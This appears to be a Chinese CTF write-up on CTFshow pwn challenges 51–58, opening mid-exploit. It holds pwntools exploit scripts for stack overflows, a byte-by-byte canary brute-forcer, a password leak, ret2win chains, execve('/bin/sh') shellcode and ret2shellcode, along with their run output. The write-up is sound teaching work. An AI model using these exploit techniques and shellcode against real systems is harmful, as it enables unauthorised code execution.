payload+= p64(pop_rsi_ret)
payload+= p64(0x1000)
payload+= p64(pop_rdx_ret)
payload+= p64(0x7)
payload+= p64(libc.sym['mprotect'])
payload+= p64(main)
io.recvuntil(b"Hello CTFshow")
io.sendline(payload)
######### step3 : gets_shellcode_to_bss
payload = cyclic(40)
payload+= p64(pop_rdi_ret)
payload+= p64(shellcode_addr)
payload+= p64(libc.sym['gets'])
payload+= p64(main)
io.recvuntil(b"Hello CTFshow")
io.sendline(payload)
io.sendline(asm(shellcraft.sh()))
io.interactive()
######### step4 : ret2bss
payload = cyclic(40)
payload+= p64(shellcode_addr)
io.recvuntil(b"Hello CTFshow")
io.sendline(payload)
io.interactive()

pwn51

Hint:I‘m IronMan

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

32位关闭栈保护以及PIE

IDA查看main函数:

int __cdecl main(int a1)
{
sub_80492E6(&a1);
sub_8049343();
alarm(0x1Eu);
sub_8049059();
return 0;
}

分别跟进这几个函数,然后修改函数名,便于分析:

int __cdecl main(int a1)
{
init();
logo(&a1);
alarm(0x1Eu);
ctfshow();
return 0;
}

跟进漏洞函数ctfshow:

int ctfshow()
{
int v0; // eax
int v1; // eax
unsigned int v2; // eax
int v3; // eax
const char *src; // eax
int v6; // [esp-Ch] [ebp-84h]
int v7; // [esp-8h] [ebp-80h]
_BYTE v8[12]; // [esp+0h] [ebp-78h] BYREF
char s[32]; // [esp+Ch] [ebp-6Ch] BYREF
_BYTE v10[24]; // [esp+2Ch] [ebp-4Ch] BYREF
_BYTE v11[24]; // [esp+44h] [ebp-34h] BYREF
unsigned int i; // [esp+5Ch] [ebp-1Ch]

memset(s, 0, sizeof(s));
puts("Who are you?");
read(0, s, 0x20u);
std::string::operator=(&unk_804D0A0, &unk_804A350);
std::string::operator+=(&unk_804D0A0, s);
std::string::basic_string(v10, &unk_804D0B8);
std::string::basic_string(v11, &unk_804D0A0);
sub_8048F06(v8);
std::string::~string(v11, v11, v10);
std::string::~string(v10, v6, v7);
if ( sub_80496D6(v8) > 1u )
{
std::string::operator=(&unk_804D0A0, &unk_804A350);
v0 = sub_8049700(v8, 0);
if ( (unsigned __int8)sub_8049722(v0, &unk_804A350) )
{
v1 = sub_8049700(v8, 0);
std::string::operator+=(&unk_804D0A0, v1);
}
for ( i = 1; ; ++i )
{
v2 = sub_80496D6(v8);
if ( v2 <= i )
break;
std::string::operator+=(&unk_804D0A0, "IronMan");
v3 = sub_8049700(v8, i);
std::string::operator+=(&unk_804D0A0, v3);
}
}
src = (const char *)std::string::c_str(&unk_804D0A0);
strcpy(s, src);
printf("Wow!you are:%s", s);
return sub_8049616(v8);
}

很明显,与我们平时分析的不太一样,这个程序是c++写的。在往s中read的时候大小没有问题,但是程序在下面将字符”I”替换成 了”IronMan”,最后在strcpy的时候发生了溢出。只需要简单计算一下 1

- 7 ,那么在输入16个“I” 就会被替换为 16 * 7 = 112个字符,而s距ebp的距离为 0x6c = 108

正常溢出覆盖到返回地址就是 cyclic(0x6c+4) = cyclic(112) ,输入16个I刚好替换成 16个”IronMan”,刚好是112个,也就刚好覆盖到返回地址

按住shift + F12查看一下字符串:

.rodata:0804A331	00000012	C	cat /ctfshow_flag

看到有 “cat /ctfshow_flag”关键字符串,进行查看在哪里进行了调用:

int sub_804902E()
{
return system("cat /ctfshow_flag");
}

没有PIE和canary直接利用即可。再覆盖到返回地址后加上上述的后门函数地址即可获得flag。

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show',28167)
get_flag = 0x804902E
payload = b"I"*16 + p32(get_flag)
io.sendline(payload)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 906
[*] Switching to interactive mode
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : Who are you?
* *************************************
Who are you?
Wow!you are:IronManIronManIronManIronManIronManIronManIronManIronManIronManIronManIronManIronManIronManIronManIronManIronMan.\x90\x04\x08
flag{just_test_my_process}

pwn52

Hint:迎面走来的flag让我如此蠢蠢欲动

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

32位关闭栈保护与PIE

IDA查看main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
logo(&argc);
puts("What do you want?");
ctfshow();
return 0;
}

跟进ctfshow函数:

int ctfshow()
{
char s[104]; // [esp+Ch] [ebp-6Ch] BYREF

gets(s);
return puts(s);
}

还是经典的栈溢出漏洞,再查看一下程序的敏感字符串,发现了flag函数:

char *__cdecl flag(int n876, int n877)
{
char *result; // eax
char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
FILE *stream; // [esp+4Ch] [ebp-Ch]

stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
result = fgets(s, 64, stream);
if ( n876 == 876 && n877 == 877 )
return (char *)printf(s);
return result;
}

先打开文件 “/ctfshow_flag”,从文件中读取内容到字符数组 s 中,然后根据输入参数的值进行条件判断。如果输入参数的值满足特定条件,将读取的内容通过 printf 输出到屏幕,并返回字符串 s的指针。否则,返回文件读取的内容。

这里我们需要让a1 = 0x36C 且a2 = 0x36D,即可获得flag

那么我们首先需要利用栈溢出漏洞将程序流程劫持到flag函数,再满足它的条件即可:

payload=b'a'*(0x^c+4)+p32(flag)+p32(0)+p32(0x36c)+p32(0x36d)#覆盖函数返回后的 下一个指令地址

由于 payload 中传递给函数 flag 的参数满足了条件 a1 == 0x36C 和 a2 == 0x36D ,所以在函数内部的条件判断 if (a1 == 0x36C && a2 == 0x36D) 将会为真,执行相应的代码块。

因此,通过构造特定的 payload,我们可以控制函数 flag 的执行路径,使其输出文件”/ctfshow_flag” 中的内容。

from pwn import*
#context.log_level = 'debug'
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show',28159)
elf = ELF('./pwn')
flag = elf.sym['flag']
payload=b'a'*(0x6c+4) + p32(flag) + p32(0) + p32(0x36c) + p32(0x36d)
io.sendline(payload)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 941
[*] '/CTFshow_pwn/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
[*] Switching to interactive mode
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : You should meet its conditions!
* *************************************
What do you want?
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x86\x85\x04\x08
flag{just_test_my_process}

pwn53

Hint:存在后门函数,如何利用?

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

32位关闭栈保护与PIE

IDA查看main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
logo(&argc);
canary();
ctfshow();
return 0;
}

跟进canary函数:

int canary()
{
FILE *stream; // [esp+Ch] [ebp-Ch]

stream = fopen("/canary.txt", "r");
if ( !stream )
{
puts("/canary.txt: No such file or directory.");
exit(0);
}
fread(&global_canary, 1u, 4u, stream);
return fclose(stream);
}

先声明了一个指针变量 stream ,用于表示文件指针。然后,使用 fopen 函数打开名为”/canary.txt” 的文件,以只读模式打开。如果打开失败,即文件不存在或无法打开,程序将输出一条错误信息 “/canary.txt: No such file or directory.” 并调用 exit(0) 终止程序。

再使用 fread 函数从打开的文件中读取 4 个字节(32 位)的数据,并将其存储到全局变global_canary 中。 &global_canary 是 global_canary 变量的地址,用于指定数据的存储位置。

跟进ctfshow函数:

int ctfshow()
{
size_t nbytes; // [esp+4h] [ebp-54h] BYREF
_DWORD v2[8]; // [esp+8h] [ebp-50h] BYREF
_BYTE buf[32]; // [esp+28h] [ebp-30h] BYREF
int s1; // [esp+48h] [ebp-10h] BYREF
int n31; // [esp+4Ch] [ebp-Ch]

n31 = 0;
s1 = global_canary;
printf("How many bytes do you want to write to the buffer?\n>");
while ( n31 <= 31 )
{
read(0, (char *)v2 + n31, 1u);
if ( *((_BYTE *)v2 + n31) == 10 )
break;
++n31;
}
__isoc99_sscanf(v2, "%d", &nbytes);
printf("$ ");
read(0, buf, nbytes);
if ( memcmp(&s1, &global_canary, 4u) )
{
puts("Error *** Stack Smashing Detected *** : Canary Value Incorrect!");
exit(-1);
}
puts("Where is the flag?");
return fflush(stdout);
}

首先定义了一些局部变量,包括 nbytes 、 v2 、 buf 、 s1 和 n31 。 nbytes 用于存储用户输入的字节数, v2 是一个字符数组,用于存储用户输入的内容, buf 是一个字符数组,用于存储从标准输入读取的数据。 s1 是一个整型变量,用于存储全局变量 global_canary 的值。 n31 是一个整型变量,用于控制循环。

再使用 read 函数从标准输入读取用户的输入,并存储到字符数组 v2 中。循环会一直进行,直到遇到换行符 \n (ASCII码为10)为止。每次读取一个字节,存储到 v2 中,并逐渐增加 n31 的值。 n31用于记录读取的字符个数。

接着使用 __isoc99_sscanf 函数将 v2 中的字符串转换为整数,并存储到 nbytes 中。这里使用%d 格式说明符将字符串解析为一个有符号整数。

使用 printf 输出提示信息 “$ “,表示等待用户输入。接着,使用 read 函数从标准输入读取nbytes 个字节的数据,并将数据存储到缓冲区 buf 中。

之后,代码通过比较 s1 和全局变量 global_canary 的值来检查堆栈的完整性。如果两者的值不相等,表示堆栈被破坏,输出错误信息 “Error *** Stack Smashing Detected *** : Canary ValueIncorrect!”,并调用 exit(-1) 终止程序。

最后,代码输出信息 “Where is the flag?”,并调用 fflush(stdout) 刷新标准输出缓冲区。

总结起来,这段代码的功能是从标准输入读取用户输入的字节数,并将相应字节数的数据读取到缓冲区 buf 中。然后,它会检查堆栈的完整性,如果堆栈被破坏,则输出错误信息并终止程序。我们可以看出程序是模拟了一个保护,但是由于文件名不变,其内容大概率也是不会变化的。加上题目提示猜测可以进行爆破。

还注意到有一个flag函数:

int flag()
{
char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
FILE *stream; // [esp+4Ch] [ebp-Ch]

stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(s, 64, stream);
puts(s);
return fflush(stdout);
}

在爆破完成知道canary的情况下,剩下的就是简单的栈溢出劫持程序执行流至flag函数就能get flag了

#本地
$ echo "/x00/x00/x00/x00" | sudo tee /canary.txt > /dev/null
from pwn import *
context.log_level = 'critical' #context是pwntools中的全局配置对象,log_level 用于设置日志输出的详细程度。常见的级别从低到高为:debug(最详细)→ info → warning → error → critical(最简略)。
canary = b''
for i in range(4): #32位Canary共4字节,逐字节泄露
for c in range(0xFF): #尝试每个可能的字节值(0-255)
io = process('./pwn')
io.sendlineafter(b'>',b'-1') #程序输出>(分隔符)后,-1输入【nbytes 被解析为负数时,在 32 位系统中会被转换为一个很大的无符号整数(因为 read 函数的第三个参数是无符号数),所以这句允许写入足够多的字节,触发栈溢出。】
payload = b'a'*0x20 + canary + p8(c) #p8(c)将c打包1字节(8位)的字节串,p8()会发送不可见字符,如果用b''的话我们只能发送可见字符
io.sendafter(b'$ ',payload)
io.recv(1) # 跳过的是程序输出中 "$ " 之后、关键判断信息之前的多余字符,最可能是 换行符 \n 或空字节,去掉也能打通(不懂)
ans = io.recv()
print(ans)
if b'Canary Value Incorrect!' not in ans:
print('The index({}),value({})'.format(i,c))
canary += p8(c) #保存该字节
break
else:
print('tring... ...')
io.close()
print('canary=',canary)
io = process('./pwn')
elf = ELF('./pwn')
flag = elf.sym['flag']
#填充buf缓冲区并实现栈溢出
payload = b'a'*0x20 + canary + p32(0)*4 + p32(flag)#p32(0)*4的作用是覆盖Canary之后到返回地址之间的所有内容
io.sendlineafter(b'>',b'-1')
io.sendafter(b'$ ',payload)
io.interactive()
低地址
栈地址 变量 大小 说明
ebp-0x58~ebp-0x54 nbytes 4字节 用户输入的字节数
ebp-0x50~ebp-0x30 var_50[8] 32字节 临时缓冲区(接收用户输入)
ebp-0x30~ebp-0x10 buf[32] 32字节 目标缓冲区(存在溢出)
ebp-0x10~ebp-0x0C s1 4字节 canary副本(用于校验)
ebp-0x0C~ebp-0x04 var_C 4字节 临时变量
ebp-0x04~ebp+0x00 var_4 4字节 临时变量
ebp+0x00~ebp+0x04 __saved_registers 4字节 保存的EBP寄存器
ebp+0x04~ebp+0x08 __return_address 4字节 返回地址(覆盖目标)
高地址
$ python3 exp.py
b'rror *** Stack Smashing Detected *** : Canary Value Incorrect!\n'
tring... ...
...
...
b'here is the flag?\n'
The index(0),value(47)
b'rror *** Stack Smashing Detected *** : Canary Value Incorrect!\n'
tring... ...
...
...
b'here is the flag?\n'
The index(1),value(120)
b'rror *** Stack Smashing Detected *** : Canary Value Incorrect!\n'
tring... ...
...
...
b'here is the flag?\n'
The index(2),value(48)
b'rror *** Stack Smashing Detected *** : Canary Value Incorrect!\n'
tring... ...
...
...
b'here is the flag?\n'
The index(3),value(48)
canary= b'/x00'
Where is the flag?
flag{just_test_my_process}
$

pwn54

Hint:再近一点靠近点快被融化

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

32位程序关闭栈保护与PIE

IDA查看main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
char s1[64]; // [esp+0h] [ebp-1A0h] BYREF
char v5[256]; // [esp+40h] [ebp-160h] BYREF
char s[64]; // [esp+140h] [ebp-60h] BYREF
FILE *stream; // [esp+180h] [ebp-20h]
char *v8; // [esp+184h] [ebp-1Ch]
int *p_argc; // [esp+194h] [ebp-Ch]

p_argc = &argc;
setvbuf(stdout, 0, 2, 0);
memset(s, 0, sizeof(s));
memset(v5, 0, sizeof(v5));
memset(s1, 0, sizeof(s1));
puts("==========CTFshow-LOGIN==========");
puts("Input your Username:");
fgets(v5, 256, stdin);
v8 = strchr(v5, 10);
if ( v8 )
*v8 = 0;
strcat(v5, ",\nInput your Password.");
stream = fopen("/password.txt", "r");
if ( !stream )
{
puts("/password.txt: No such file or directory.");
exit(0);
}
fgets(s, 64, stream);
printf("Welcome ");
puts(v5);
fgets(s1, 64, stdin);
v5[0] = 0;
if ( !strcmp(s1, s) )
{
puts("Welcome! Here's what you want:");
flag();
}
else
{
puts("You has been banned!");
}
return 0;
}

声明了一些局部变量,包括字符数组 s1 、v5 和 s ,以及文件指针 stream 、字符指针 v8 和整型指针 p_argc 。

接下来,使用 memset 函数将字符数组 s 、 v5 和 s1 初始化为全零。使用 fgets 函数从标准输入中读取用户输入的用户名,并存储到字符数组 v5 中。 v5的长度限制为 256 字节。接下来,使用strchr 函数在 s_ 中查找换行符 \n ,如果找到,则将其替换为字符串终止符 \0 。然后,使用strcat 函数将附加的字符串 “,\nInput your Password.” 连接到 s_ 后面。使用 fopen 函数打开名为 “/password.txt” 的文件,以只读模式打开。如果打开失败,即文件不存在或无法打开,程序将输出一条错误信息 “/password.txt: No such file or directory.” 并调用 exit(0) 终止程序。

接着,使用 fgets 函数从文件中读取一行内容(最多 64 个字符),存储到字符数组 s 中。这从”/password.txt” 文件中读取的密码。

然后,使用 printf 输出欢迎信息 “Welcome “,并使用 puts 输出用户输入的用户名 v5 。

接下来,使用 fgets 函数从标准输入中读取用户输入的密码,并存储到字符数组 s1 中。

最后,将字符数组 v5 的第一个元素设置为零,清空用户输入的用户名。

接下来看关键部分:

if ( !strcmp(s1, s) )
{
puts("Welcome! Here's what you want:");
flag();
}
else
{
puts("You has been banned!");
}
return 0;

这部分代码使用 strcmp 函数比较用户输入的密码 s1 和从文件中读取的密码 s 是否相等。如果相等,表示密码验证成功,输出欢迎信息 “Welcome! Here’s what you want:”,然后调用 flag 函数。

如果不相等,表示密码验证失败,输出 “You has been banned!” 的提示信息。

跟进flag函数:

int flag()
{
char s[48]; // [esp+Ch] [ebp-3Ch] BYREF
FILE *stream; // [esp+3Ch] [ebp-Ch]

stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(s, 48, stream);
printf("%s", s);
return 0;
}

总结起来,这段代码实现了一个简单的登录功能。它要求用户输入用户名和密码,并与预先存储在文件 “/password.txt” 中的密码进行比较。如果密码验证成功,则输出欢迎信息并输出flag,但是并没有对用户名有啥要求。

那么关键就是我们如何找到password.txt内的内容

参数v5(存放name)和参数s(存放flag)在栈上的位置相差不远,而且给参数v5读入数据的时候可以覆盖道参数s

of main
-0000000000000060     _BYTE s;
-0000000000000160 char v5;

他们相差 0x160-0x60=0x100 ,而且我们对v5输入的数据长度正好是0x100,可以将v5填充满,后面紧接着的就是s,main函数里的30行会将s_打印出来

puts遇到’\x00’才停止

将’n’替换成’x00’使得puts(v5)能正确输出输入的name,但如果输入了0x100个垃圾数据的话,会导致最后一个’n’并没有读入而导致程序在puts(v5)时会连带下面的password一起输出,这样我们就可以得到服务器上的password,所以会将password顺带着打印出来。

我们可以借此接收到服务器中password.txt的内容,再重新连接一次输入我们接收到的密码输入进去即可获得flag。这次用户名就随意了,小于256即可,然后再输入密码。。

#本地自己写文件
$ echo "CTFshow_PWN_r00t_p@ssw0rd_1s_h3r3" | sudo tee/password.txt > /dev/null
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
payload=b"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac" #cyclic(0x100)
io.sendline(payload)
io.recvuntil(b'aa,') # 定位到payload中的特征点
password = io.recvuntil(b'\n').strip() # 读取完整密码行并去除换行符
print(password)
io.close()
io=process('./pwn')
io.sendline(b'bit') #用户名
io.sendline(password)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 103
b'CTFshow_PWN_r00t_p@ssw0rd_1s_h3r3'
[*] Process './pwn' stopped with exit code 0 (pid 103)
[+] Starting local process './pwn': pid 105
[*] Switching to interactive mode
[*] Process './pwn' stopped with exit code 0 (pid 105)
==========CTFshow-LOGIN==========
Input your Username:
Welcome bit,
Input your Password.
Welcome! Here's what you want:
flag{just_test_my_process}
$

pwn55

Hint:你是我的谁,我的我是你的谁

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

32位关闭栈保护与PIE

IDA查看main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
logo(&argc);
puts("How to find flag?");
ctfshow();
return 0;
}

跟进ctfshow函数:

char *ctfshow()
{
char s[40]; // [esp+Ch] [ebp-2Ch] BYREF

printf("Input your flag: ");
return gets(s);
}

gets函数输入,没有限制读入长度,存在溢出漏洞

发现三个跟flag有关的函数:

int __cdecl flag(int a1)
{
char s[48]; // [esp+Ch] [ebp-3Ch] BYREF
FILE *stream; // [esp+3Ch] [ebp-Ch]

stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(s, 48, stream);
if ( flag1 && flag2 && a1 == -1111638595 )
return printf("%s", s);
if ( flag1 && flag2 )
return puts("Incorrect Argument.");
if ( flag1 || flag2 )
return puts("Nice Try!");
return puts("Flag is not here!");
}

看到程序将flag读入到了参数s里面,满足条件flag1&&flag2 &&a1==0xBDBDBDBD的条件,就能读出flag

Elf32_Dyn **flag_func1()
{
Elf32_Dyn **_GLOBAL_OFFSET_TABLE; // eax

_GLOBAL_OFFSET_TABLE = &GLOBAL_OFFSET_TABLE_;
flag1 = 1;
return _GLOBAL_OFFSET_TABLE;
}

flag_func1函数直接给flag1赋值成了1

Elf32_Dyn **__cdecl flag_func2(int a1)
{
Elf32_Dyn **_GLOBAL_OFFSET_TABLE; // eax

_GLOBAL_OFFSET_TABLE = &GLOBAL_OFFSET_TABLE_;
if ( flag1 && a1 == -1397969748 )
{
flag2 = 1;
}
else if ( flag1 )
{
return (Elf32_Dyn **)puts("Try Again.");
}
else
{
return (Elf32_Dyn **)puts("Try a little bit.");
}
return _GLOBAL_OFFSET_TABLE;
}

flag_func2函数当满足条件的时候会将flag2赋值为1

那么我们思路就很明确了,首先溢出后覆盖ret为flag_func1,将flag1赋值为1。之后跳转到flag_func2的地址,a1是传入的参数,将a1传入即可满足条件去设置flag2的值为1,之后去执行flag函数,if要满足的条件之前都设置好了,可以直接读出flag

from pwn import *
context(arch = "i386",os = 'linux',log_level= "debug")
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show',28199)
elf = ELF('./pwn')
flag_func1 = elf.sym['flag_func1']
flag_func2 = elf.sym['flag_func2']
flag = elf.sym['flag']
payload = b"a" * (0x2c+4)
payload += p32(flag_func1)
payload += p32(flag_func2) + p32(flag) + p32(0xACACACAC) + p32(0xBDBDBDBD) #-1397969748(0xACACACAC),-1111638595(0xBDBDBDBD)
io.sendlineafter(b"flag: ", payload)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 1300
[*] '/CTFshow_pwn/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
[*] Switching to interactive mode
flag{just_test_my_process}

pwn56

Hint:先了解一下简单的32位shellcode吧

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
Stripped: No

32位保护全关

IDA查看一下:

void __noreturn start()
{
int v0; // eax
char _bin___sh_[10]; // [esp-Ch] [ebp-Ch] BYREF
__int16 v2; // [esp-2h] [ebp-2h]

v2 = 0;
strcpy(_bin___sh_, "/bin///sh");
v0 = sys_execve(_bin___sh_, 0, 0);
}

很明显就是简单的调用了一个shell,那么我们进行逐步分析:

先将汇编代码拿出来分析:

push    68h ; 'h'
push 732F2F2Fh
push 6E69622Fh
mov ebx, esp ; file
xor ecx, ecx ; argv
xor edx, edx ; envp
push 0Bh
pop eax
int 80h ; LINUX - sys_execve

这段代码是x86汇编语言的代码,用于在Linux系统上执行一个系统调用来执行

execve(“/bin/sh”, NULL, NULL) 。让我们逐行解析代码的功能:

push 0x68 
#这行代码将十六进制值 0x68 (104的十进制表示)压入栈中。这是为了将后续的字符串 "/bin/sh"的长度(11个字符)放入栈中,以便后续使用。
push 0x732f2f2f
#这行代码将十六进制值 0x732f2f2f 压入栈中。这是字符串 "/bin/sh" 的前半部分字符的逆序表示,即 "sh//"。这是因为x86架构是小端字节序的,字符串需要以逆序方式存储在内存中。
push 0x6e69622f
#这行代码将十六进制值 0x6e69622f 压入栈中。这是字符串 "/bin/sh" 的后半部分字符的逆序表
示,即 "/bin"。
mov ebx,esp
#这行代码将栈顶的地址(即字符串"/bin/sh"的起始地址)复制给寄存器 ebx。ebx寄存器将用作execve 系统调用的第一个参数,即要执行的可执行文件的路径。
xor ecx,ecx
xor edx,edx
#这两行代码使用异或操作将 ecx 和 edx 寄存器的值设置为零。 ecx 和 edx 分别将用作 execve系统调用的第二个和第三个参数,即命令行参数和环境变量。在此情况下,我们将它们设置为 NULL,表示没有命令行参数和环境变量。
push 0xB
pop eax
这两行代码将值11(0xb)压入栈中,然后从栈中弹出到寄存器 eax。eax寄存器将用作系统调用号,11表示execve系统调用的系统调用号。
int 0x80
这行代码触发中断 0x80 ,这是Linux系统中用于执行系统调用的中断指令。通过设置适当的寄存器值( eax 、 ebx 、 ecx 、 edx ), int 0x80 指令将执行 execve("/bin/sh", NULL, NULL) 系统调用,从而启动一个新的 shell 进程。

总结起来,这段汇编代码的功能是利用系统调用在Linux系统上执行 execve(“/bin/sh”, NULL,NULL) ,即打开一个新的shell进程。

from pwn import *
context.log_level = 'debug'
io = remote('pwn.challenge.ctf.show',28159)
io.interactive()
$ ./pwn
$ ls
ctfshow_flag

pwn57

Hint:先了解一下简单的64位shellcode吧

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
Stack: Executable
Stripped: No

64位保护全关

IDA查看一下:

void __noreturn start()
{
__asm { syscall; LINUX - }
}

将汇编代码拿出来逐步分析:

push    rax
xor rdx, rdx
xor rsi, rsi
mov rbx, 68732F2F6E69622Fh
push rbx
push rsp
pop rdi
mov al, 3Bh ; ';'
syscall ; LINUX -
采用的是小端字节序,逆序
2F 62 69 6E 2F 2F 73 68
/ b i n / / s h
在Linux系统中,路径里连续的斜杠/会被当作单个斜杠来处理。所以,/bin//sh 和/bin/sh 指向的是同一个文件。

这段代码是x86-64汇编语言的代码,用于在Linux系统上执行 execve(“/bin/sh”, NULL,NULL) 。让我们逐行解析代码的功能:

push rax 
#这行代码将 rax 寄存器的值(通常用于存放函数返回值)压入栈中。这里的目的是保留 rax 的值,以便后续使用。
xor rdx, rdx
xor rsi, rsi
#这两行代码使用异或操作将 rdx 和 rsi 寄存器的值设置为零。 rdx 和 rsi 分别将用作 execve系统调用的第三个和第二个参数,即环境变量和命令行参数。在此情况下,我们将它们设置为 NULL,表示没有环境变量和命令行参数。
mov rbx, '/bin//sh'
#这行代码将字符串 '/bin//sh' 的地址赋值给 rbx 寄存器。字符串 '/bin//sh' 是我们要执行的可执行文件的路径。在x86-64汇编中,字符串被当作地址处理。
push rbx
#这行代码将 rbx 寄存器的值(字符串 '/bin//sh' 的地址)压入栈中。这是为了将可执行文件路径传递给 execve 系统调用的第一个参数。
push rsp
pop rdi
#这两行代码将栈顶的地址(即字符串'/bin//sh'的地址)弹出到rdi寄存器。rdi寄存器将用作execve 系统调用的第一个参数,即可执行文件路径。
mov al, 59
#这行代码将 al 寄存器设置为值 59 , 59 是 execve 系统调用的系统调用号。
syscall
#这行代码触发系统调用。通过设置适当的寄存器值( rax 、rdi、rsi、rdx),syscall指令将执行execve("/bin/sh", NULL, NULL) 系统调用,从而启动一个新的 shell 进程。

总结起来,这段汇编代码的功能是利用系统调用在Linux系统上执行 execve(“/bin/sh”, NULL,NULL) ,即打开一个新的shell进程。与前一个示例相比,这段代码是x86-64架构下的汇编代码,使用通用寄存器进行操作。

from pwn import *
context.log_level = 'debug'
io = remote('pwn.challenge.ctf.show',28195)
io.interactive()
$ ./pwn
$ ls
ctfshow_flag

pwn58

Hint:32位 无限制

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No

32位仅部分开启RELRO,其他保护全关,并且有可读,可写,可执行段

IDA简单分析(这里无法进行反编译,直接看汇编代码):

; int __cdecl main(int argc, const char **argv, const char **envp)
public main
main proc near

s= byte ptr -0A0h
var_C= dword ptr -0Ch
argc= dword ptr 8
argv= dword ptr 0Ch
envp= dword ptr 10h

; __unwind {
lea ecx, [esp+4]
and esp, 0FFFFFFF0h
push dword ptr [ecx-4]
push ebp
mov ebp, esp
push ebx
push ecx
sub esp, 0A0h
call __x86_get_pc_thunk_bx
add ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
mov eax, ds:(stdout_ptr - 804A000h)[ebx]
mov eax, [eax]
push 0 ; n
push 2 ; modes
push 0 ; buf
push eax ; stream
call _setvbuf
add esp, 10h
call _getegid
mov [ebp+var_C], eax
sub esp, 4
push [ebp+var_C]
push [ebp+var_C]
push [ebp+var_C]
call _setresgid
add esp, 10h
call logo
sub esp, 0Ch
lea eax, (aJustVeryEasyRe - 804A000h)[ebx] ; "Just very easy ret2shellcode&&32bit"
push eax ; s
call _puts
add esp, 10h
sub esp, 0Ch
lea eax, (aAttachIt - 804A000h)[ebx] ; "Attach it!"
push eax ; s
call _puts
add esp, 10h
sub esp, 0Ch
lea eax, [ebp+s]
push eax ; s
call ctfshow
add esp, 10h
lea eax, [ebp+s]
call eax
mov eax, 0
lea esp, [ebp-8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx-4]
retn
; } // starts at 804864C
main endp

看报错应该是这里无法进行反编译,流程其实也能很清楚的看出来,跟之前差不多,看到后面这里

调用了ctfshow函数,经验之谈漏洞点应该是在这的 :

int __cdecl ctfshow(char *s)
{
gets(s);
return puts(s);
}

看到有gets函数的调用,看汇编:

; int __cdecl ctfshow(char *s)
public ctfshow
ctfshow proc near

var_4= dword ptr -4
s= dword ptr 8

; __unwind {
push ebp
mov ebp, esp
push ebx
sub esp, 4
call __x86_get_pc_thunk_bx
add ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
sub esp, 0Ch
push [ebp+s] ; s
call _gets
add esp, 10h
sub esp, 0Ch
push [ebp+s] ; s
call _puts
add esp, 10h
nop
mov ebx, [ebp+var_4]
leave
retn
; } // starts at 8048516
ctfshow endp

